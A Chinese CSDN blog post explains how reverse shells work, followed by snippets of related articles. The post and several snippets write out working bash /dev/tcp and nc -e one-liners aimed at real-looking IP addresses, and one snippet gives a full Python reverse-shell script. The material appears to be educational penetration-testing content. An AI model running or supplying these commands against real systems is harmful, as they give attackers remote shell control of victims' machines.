反弹Shell命令解释

于 2024-05-30 11:08:20 发布
阅读量159 收藏
点赞数 2
文章标签： 网络安全 安全 web安全 运维
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/2201_75816146/article/details/139318688
版权

反弹Shell

反弹Shell，就是将目标机的命令行输入与输出重定向到攻击者的主机上。

正向连接

顾名思义，就是我们主动去连接目标主机，比如一些远程桌面服务、Web服务、SSH、Telnet等都是正向连接

反向连接

反向连接一般用于目标受到了防火墙的限制，目标主机只能发送请求，无法接受请求。这种情况就需要去进行反向连接。

反弹命令

bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/2333 0>&1或bash -c "bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1"# bash -i >& /dev/tcp/攻击机IP/攻击机端口 0>&1

bash -i 这里的bash意思是启动bash shell的命令 -i表示是启动交互式shell。交互式shell表示用于用户直接与其进行交互，接受用户输入的命令并执行

>& /dev/tcp/xxx.xxx.xxx.xxx/2333 将标准输出和错误重定向通过TCP协议连接到IP地址为xxx.xxx.xxx.xxx的2333端口上。其中 /dev/tcp 是bash的一个特性，允许通过网络进行通信。

0>&1 这里的意思是将标准输入重定向到目标主机。

bash -c "bash -i  >&/dev/tcp/39.100.89.198/9527 0>&1"
小小小屿屿屿
关注
反弹shell详细易懂讲解，看这一篇就够了
LCW991207的博客
05-26 1794
bash就是shell的众多小弟中的一个，Shell 是操作系统中提供用户与内核之间交互的一种界面，一个 解释型的程序设计语言，它的小弟有很多，它既可以是图形用户界面（GUI），也可以是命令行界面（CLI）。Shell 主要用于接受用户输入的命令并将其传递给操作系统的内核执行，同时将内核的输出结果返回给用户。
【转】反弹Shell，看这一篇就够了
热门推荐
mastergu2的博客
10-26 2万+
前言 在渗透测试实战中，我们经常会遇到Linux系统环境，而让Linux主机反弹个shell是再常见不过的事情了。 反弹shell，就是攻击机监听在某个TCP/UDP端口为服务端，目标机主动发起请求到攻击机监听的端口，并将其命令行的输入输出转到攻击机。 正向连接 假设我们攻击了一台机器，打开了该机器的一个端口，攻击者在自己的机器去连接目标机器（目标ip：目标机器端口），这是比较常规的形式，我们叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。 反向连接 那么为什么要用反弹shell呢
常见的反弹shell的方法以及对反弹shell的解释
qq_45584159的博客
03-04 1万+
文章目录一.什么是反弹shell，以及对反弹shell作用原理的解析：3.反弹shell的本质linux文件描述符重定向输入重定向输出重定向标准输出与标准错误输出重定向文件描述符的复制exec 绑定重定向对反弹shell执行的实例分析：>&、&>常见linux提权 一.什么是反弹shell，以及对反弹shell作用原理的解析： 1.定义 通俗来说，shell就是实现用户命令的接口，通过该接口我们能实现对计算机的控制(root权限)， 而反弹shell就是将shell反弹给攻击者
花一天时间搞懂反弹shell的命令！bash -i ＞& /dev/tcp/${HOST}/${PORT} 0＞&1！
weixin_53306211的博客
10-28 2356
【代码】花一天时间搞懂反弹shell的命令！
【安全知识】——LInux的shell反弹姿势合集（更新中）
Demo不是emo的博客
05-17 6259
当我们拿到一台LINUX主机的权限时，往往都需要反弹到公网的服务器上，一般我们使用bash来反弹的情况居多，但是bash也有失灵的时候。在这种情况下，我们可以尝试使用其他的反弹语句来达到我们的目的。
反弹Shell，看这一篇就够了
Appleteachers的博客
04-24 1263
前言 在渗透测试实战中，我们经常会遇到Linux系统环境，而让Linux主机反弹个shell是再常见不过的事情了。 反弹shell，就是攻击机监听在某个TCP/UDP端口为服务端，目标机主动发起请求到攻击机监听的端口，并将其命令行的输入输出转到攻击机。 正向连接 假设我们攻击了一台机器，打开了该机器的一个端口，攻击者在自己的机器去连接目标机器（目标ip：目标机器端口），这是比较常规的形式，我们叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。 反向连接 那么为什么要用反弹shell呢
Linux系统反弹shell总结
Bird&Bird
06-07 1382
目录前言正向连接反向连接利用netcat反弹shell利用Bash反弹shellCurl配合Bash反弹shell将反弹shell的命令写入定时任务将反弹shell的命令写入/etc/profile文件利用Socat反弹shell利用Telnet反弹shell方法一方法二各种脚本反弹shellPython 脚本反弹shellphp 脚本反弹shellPerl 脚本反弹shellRuby脚本反弹shell使用Metasploit生成反弹shell用的一句话反弹shell后获取模拟终端使用OpenSSL反弹加密
反弹Shell大全与原理
最新发布
weixin_55652418的博客
01-02 1332
more反弹shell），就是控制端监听在某TCP/UDP端口，被控端发起请求到该端口，并将其命令行的输入输出转到控制端。reverse shell与telnet，ssh等标准shell对应，本质上是网络概念的客户端与服务端的角色反转。
什么是反弹 Shell？
sixqingfeng的博客
07-12 834
前段时间被一位产品经理嘲笑了，说我居然连反弹 Shell 都不知道说实话当时我还真不知道，但这口气咽不下去啊，得赶紧学来看看，这不，我已经学会了学完之后我特地来记录下，同时分享给大家，以后产品经理再也不敢嘲笑我们不懂反弹 Shell 了我们都知道 Shell 的概念吧，简单来说，Shell 就是实现用户命令的接口，通过这个接口我们就能实现对计算机的控制，比如我们常见的 ssh 就是执行的 Shell 命令实现对远程对服务器的控制那反弹 Shell 是啥呢？其英文名叫做 Reverse Shell，具体干什么
各种反弹shell方式
m0_58606546的博客
11-17 2319
1、Bash环境下反弹TCP协议shell 首先在本地监听TCP协议443端口 nc -lvp 443 然后在靶机上执行如下命令： 1 bash -i >& /dev/tcp/121.40.248.82/1234 0>&1 1 /bin/bash -i > /dev/tcp/121.40.248.82/1234 0<& 2>&1 1 exec 5<>/dev/tcp/10.10.10.11/443;ca.
内网渗透-常用反弹shell方法总结
lza20001103的博客
08-28 4740
常用反弹shell方法总结 文章目录常用反弹shell方法总结前言bash反弹shellnc反弹shell1.nc弹linux的shell: nc -e /bin/bash 1.1.1.1 99992. 如果linux中nc没有-e参数3.nc 弹windows下的shell:whois 反弹shell常见脚本反弹1.python2.phppowercat反弹shellmsf反弹shell 前言 bash反弹shell bash -i >&/dev/tcp/1.1.1.1/9999 0&gt
反向shell
m0_52011198的博客
02-20 511
反向shell是从被感染机器上发起一个连接，它提供攻击者shell访问被感染机器的权限。反向shell或者作为一个单独的恶意代码存在，或者作为一个复杂后门程序中的组件而存在。反向shell的工作方式是远程计算机将自己的shell发送给特定的用户，而不是将shell绑定到一个端口上。后者在很多环境中是无法访问的。这样，你就可以对远程服务器执行root命令。
反弹shell学习(一):基础反弹姿势
E1even的博客
07-25 2147
文章目录bash反弹：nc反弹：-e被阉割的情况：nc -e:利用Telnet反弹shell方法1：方法2：python脚本反弹：PHP反弹shell总结： bash反弹： 这是最常见也是最简单的一种反弹shell的方式，直接看命令： 攻击机：nc -lvp 2333 受害机：bash -i >& /dev/tcp/192.168.28.133/2333 0>&1 攻击机： 受害机： 最后攻击机达成的效果： 可以命令执行，再实际中不可能获取的是root权限，所以成功反弹s
Linux反弹shell姿势汇总
isxiaole的博客
08-10 685
1、netcat反弹shell 目前，默认的各个linux发行版本已经自带了netcat工具包，但是可能由于处于安全考虑原生版本的netcat带有可以直接发布与反弹本地shell的功能参数 -e 都被阉割了，所以我们需要自己手动下载二进制安装包，安装的如下： wget https://nchc.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz tar -xvzf netcat-0.7.1.tar.gz ./configure
[CTF]反弹shell总结
cosmoslin的博客
11-11 4710
1 什么是反弹shell reverse shell，就是控制端监听在某TCP/UDP端口，被控端发起请求到该端口，并将其命令行的输入输出转到控制端。reverse shell与telnet，ssh等标准shell对应，本质上是网络概念的客户端与服务端的角色反转。 2 为什么要反弹shell 正向连接 假设我们攻击了一台机器，打开了该机器的一个端口，攻击者在自己的机器去连接目标机器（目标ip：目标机器端口），这是比较常规的形式，我们叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。
使用msf进行反弹shell+内网渗透
JSMaster01的博客
12-30 1万+
首先说明一点，反弹shell的前提是该主机能够执行我们的恶意命令 反弹shell的原理与灰鸽子的原理是相似的，就是在靶机上执行一个我们msf精心构造的客户端，使靶机主动回连我们攻击机的某个端口。下面开始说明使用msf进行反弹shell的过程。 一、反弹shell： 1.首先使用msf中的msfvenom模块生成一个被控端的客户端文件。这里以Windows 64位为例，具体命令如下：“msfveno...
使用MSF反向反弹shell
weixin_45588247的博客
07-20 4783
实验准备： 攻击(攻击者)主机： kali 2020.2 虚拟机 nat 192.168.254.132 反向反弹： 【步骤一】：msfconsole启动，结果如【图1】所示： 【命令】 msfconsole 一、msfconsole（这种没有启用数据库，搜索某些东西会很慢） 二、数据...
各种反弹shell原理
haoge1998的博客
04-18 1万+
各种反弹shell原理 一、理解反弹shell 1、为什么需要反弹shell 当正向连接不可达时候 客户机中了木马，但是在局域网内，无法正向连接。 由于防火墙和局域网的限制，对方只能发送请求，不可主动接受请求 2、原理 反弹shell：控制端监听某个端口，被控制端发起请求到该端口，并将命令行的输入输出传到控制端 二、常用的反弹shell命令 1、bash进行反弹 （1）在windows上启动监听端口 nc -lvp 4444 l：代表入站监听 v：代表输出信息级别 p：代表监听的端口 （2）在Lin
python反弹shell命令
05-14
反弹shell指的是在目标机器上执行一条命令，将一个shell连接返回给攻击者的机器，从而可以远程控制目标机器。在Python中，可以使用`socket`模块来实现反弹shell，具体实现如下： ```python import socket import subprocess def reverse_shell(ip, port): # 创建socket对象 s = socket.socket() # 连接攻击者机器 s.connect((ip, port)) # 发送欢迎消息 s.send(b'[*] Connection established!\n') # 循环接收攻击者发送的命令，并返回结果 while True: # 接收命令 data = s.recv(1024) # 如果接收到空数据，则跳出循环 if not data: break # 执行命令，并返回结果 proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) output = proc.stdout.read() + proc.stderr.read() # 发送命令执行结果 s.send(output) # 关闭socket连接 s.close() ``` 在攻击者机器上，可以通过`nc`命令监听反弹shell的端口： ```bash nc -lvp 4444 ``` 然后在目标机器上执行`reverse_shell`函数，将反弹shell连接发送到攻击者机器： ```python reverse_shell('attackers_ip', 4444) ``` 这样，攻击者就可以通过`nc`命令远程控制目标机器了。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值